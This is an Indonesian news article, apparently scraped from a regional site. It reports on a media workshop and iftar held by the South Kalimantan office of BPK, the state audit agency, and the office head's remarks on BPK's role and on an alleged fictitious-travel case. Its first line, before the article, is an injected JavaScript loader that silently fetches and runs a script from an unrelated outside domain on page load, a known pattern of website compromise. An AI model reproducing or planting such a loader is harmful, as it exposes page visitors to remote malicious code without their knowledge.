(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BPK Perwakilan Kalsel Gelar Workshop bersama Awak Media


BANJARBARU, Badan Pemeriksa Keuangan (BPK) Perwakilan Kalsel gelar acara Media Workshop dan buka puasa bersama diikuti perwakilan beberapa awak media di Kalimantan Selatan, Senin (27/5).

Dalam pagelaran acara yang berlangsung sejak pukul 16.30 Wita tersebut, Kepala Badan Pemeriksa Keuangan (BPK) kantor regional Kalimantan Selatan Tornanda Syaifullah menjelaskan profil singkat tugas dan peran BPK RI khususnya yang ada di Kalimantan Selatan.

“BPK RI adalah sebuah lembaga tinggi negara yang bertugas memeriksa pengelola dana tanggungjawab keuangan negara. BPK harus mengetahui tempat uang negara itu disimpan dan untuk apa uang negara itu digunakan, BPK adalah pemeriksa semua asal usul dan besarnya penerimaan negara, dari mana pun sumbernya,” jelasnya.

Lebih jauh Syaifullah menjelaskan ada tiga nilai dasar BPK seperti membangun integritas dengan bersikap jujur, objektif,objektif, dan tegas dalam menerapkan prinsip dan nilai keputusan. Menjunjung tinggi independensi hingga propesionalisme.

“Sementara adapun sistem kerja BPK Seperti melakukan pemeriksaan keuangan negara, hasil pemeriksaan diserahkan kepada DPR, DPRD dan DPD, melaporkan keaaprat penegak hukum apabila ditemukan unsur pidana hingga memantau tindak lanjut pemeriksaan BPK,” tambahnya.

Di sisi lain jenis pemeriksaan dilakukan BPK terbagi menjadi 3 seperti halnya pemeriksaan keuangan, pemeriksaaan kinerja, hingga pemeriksaan dengan tujuan tertentu.

Ditanya kanal kalimantan bagaimana dengan hasil pemeriksaan yang telah dilakukan BPK Perwakilan Kalimantan Selatan, terhadap dugaan kasus kunjungan kerja fiktif Kabupaten Banjar yang sekarang diusut kejaksaan Kabupaten Banjar.

Syaifullah mengatakan kasus dugaan perjalanan dinas fiktif itu memang sekarang sudah ditangani oleh kejaksaan Kabupaten Banjar, dan masih belum melihat detail berapa kerugian negara yang disebabkan oleh dugaan kasus tersebut. Mengingat dirinya masih baru bergabung di BPK Perwakilan Kalimantan Selatan sejak awal tahun 2018.

“Oh kasus itu memang saya pernah dengar namun saya masih tidak tahu detailnya berapa, karena itu kasusnya sejak tahun 2016, sedangkan saya masuk di sini sejak awal tahun 2018 yang lalu, saya tidak tahu nanti saya coba lihat lagi,” pungkasnya. (Rendy)

Reporter:Rendy
Editor:Chell

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

4 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

5 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

5 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

5 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

6 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

9 jam ago

This website uses cookies.